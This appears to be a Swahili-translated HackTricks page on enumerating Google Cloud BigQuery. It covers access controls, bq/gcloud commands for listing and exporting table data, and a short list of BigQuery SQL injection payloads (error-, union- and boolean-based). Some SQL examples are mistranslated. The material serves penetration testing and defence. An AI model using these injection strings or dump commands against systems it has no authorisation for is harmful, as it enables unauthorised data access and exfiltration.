GCP - Bigquery Enum

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Google Cloud BigQuery ni ghala la data la biashara lililosimamiwa kabisa, lisilo na seva, linalotoa uwezo wa uchambuzi wa data za petabytes, hivyo kushughulikia seti kubwa za data kwa ufanisi. Kama Jukwaa kama Huduma (PaaS), hutoa watumiaji miundombinu na zana za kurahisisha usimamizi wa data bila hitaji la uangalizi wa kawaida.

Inasaidia kuuliza kutumia ANSI SQL. Vitu kuu ni seti za data zinazojumuisha meza zinazojumuisha data za SQL.

Ufichaji

Kwa chaguo-msingi ufunguo wa kufichua uliosimamiwa na Google hutumiwa ingawa niwezekanavyo kusanidi ufunguo wa kufichua uliosimamiwa na Mteja (CMEK). Niwezekanavyo kuonyesha ufunguo wa kufichua kwa kila seti ya data na kwa kila meza ndani ya seti ya data.

Muda wa Kufutwa

Niwezekanavyo kuonyesha muda wa kufutwa kwenye seti ya data ili meza mpya zilizoundwa kwenye seti hii ya data zifutwe kiotomatiki idadi iliyowekwa ya siku baada ya kuundwa.

Vyanzo Vya Nje

Bigquery imeunganishwa sana na huduma zingine za Google. Niwezekanavyo kupakia data kutoka kwa vikasha, pub/sub, google drive, databases za RDS...

ACLs za Seti ya Data

Wakati seti ya data inaundwa ACLs zinaambatishwa kutoa ufikiaji juu yake. Kwa chaguo-msingi inapewa mamlaka ya Mmiliki kwa mtumiaji aliyeanzisha seti ya data na kisha Mmiliki kwa kikundi projectOwners (Wamiliki wa mradi), Mwandishi kwa kikundi projectWriters, na Mkusanyaji kwa kikundi projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Kudhibiti Upatikanaji wa Safu za Jedwali

Inawezekana kudhibiti safu ambazo mwakilishi ataweza kupata ndani ya jedwali kwa kutumia sera za upatikanaji wa safu. Hizi huanzishwa ndani ya jedwali kwa kutumia DDL. Sera ya upatikanaji inaainisha kichujio na safu zinazolingana na kichujio hicho ndizo zitakazokuwa zinafikika na wawakilishi waliotajwa.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Kudhibiti Upatikanaji wa Safu za Safu

Ili kudhibiti upatikanaji wa data kwa kiwango cha safu:

  1. Tambua taksonomia na vitambulisho vya sera. Unda na usimamie taksonomia na vitambulisho vya sera kwa data yako. https://console.cloud.google.com/bigquery/policy-tags

  2. Hiari: Mpe jukumu la Msomaji Mdogo wa Katalogi ya Data kwa mmoja au zaidi wa wakuu kwenye moja au zaidi ya vitambulisho vya sera uliyo umba.

  3. Weka vitambulisho vya sera kwenye safu zako za BigQuery. Katika BigQuery, tumia maandishi ya schema kuweka kila safu vitambulisho vya sera ambapo unataka kudhibiti upatikanaji.

  4. Tekeleza udhibiti wa upatikanaji kwenye taksonomia. Kutekeleza udhibiti wa upatikanaji husababisha vikwazo vya upatikanaji vilivyoelezwa kwa ajili ya vitambulisho vyote vya sera katika taksonomia kutumika.

  5. Simamia upatikanaji kwenye vitambulisho vya sera. Tumia Utambulisho na Usimamizi wa Upatikanaji (IAM) sera ili kudhibiti upatikanaji kwa kila vitambulisho vya sera. Sera ina athari kwa kila safu inayomilikiwa na vitambulisho vya sera.

Wakati mtumiaji anapojaribu kupata data ya safu wakati wa swali, BigQuery huchunguza vitambulisho vya sera vya safu na sera yake kuona ikiwa mtumiaji ana ruhusa ya kupata data.

Kwa muhtasari, ili kudhibiti upatikanaji wa safu fulani kwa watumiaji fulani, unaweza kuongeza lebo kwenye safu katika schema na kudhibiti upatikanaji wa watumiaji kwa lebo kwa kutekeleza udhibiti wa upatikanaji kwenye taksonomia ya lebo.

Ili kutekeleza udhibiti wa upatikanaji kwenye taksonomia, ni muhimu kuwezesha huduma:

gcloud services enable bigquerydatapolicy.googleapis.com

Inawezekana kuona vitambulisho vya nguzo kwa:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Uchambuzi

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

Uingiliaji wa SQL wa BigQuery

Kwa habari zaidi unaweza kuangalia chapisho la blogi: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hapa tu baadhi ya maelezo yatatolewa.

Maoni:

  • chagua 1#kutoka hapa haifanyi kazi

  • chagua 1/*kati ya hizo haifanyi kazi*/ Lakini ile ya awali pekee haitafanya kazi

  • chagua 1--kutoka hapa haifanyi kazi

Pata taarifa kuhusu mazingira kama vile:

  • Mtumiaji wa sasa: chagua session_user()

  • Kitambulisho cha mradi: chagua @@project_id

Pata majina ya seti za data, meza, na vitambulisho vya safu:

  • Jina la mradi na seti ya data:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Seti za data nyingine katika mradi huo huo:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

Aina za SQL Injection:

  • Kosa msingi - kugeuza: select CAST(@@project_id AS INT64)

  • Kosa msingi - mgawanyo kwa sifuri: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Kulinganisha msingi: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Kulinganisha Boolean: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Inayoweza kuwa msingi wa wakati - Matumizi ya mifano ya seti za data za umma: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Nyaraka:

Kupandisha Hadhi ya Mamlaka & Baada ya Kudukuliwa

pageGCP - BigQuery Privesc

Uimara

pageGCP - BigQuery Persistence

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated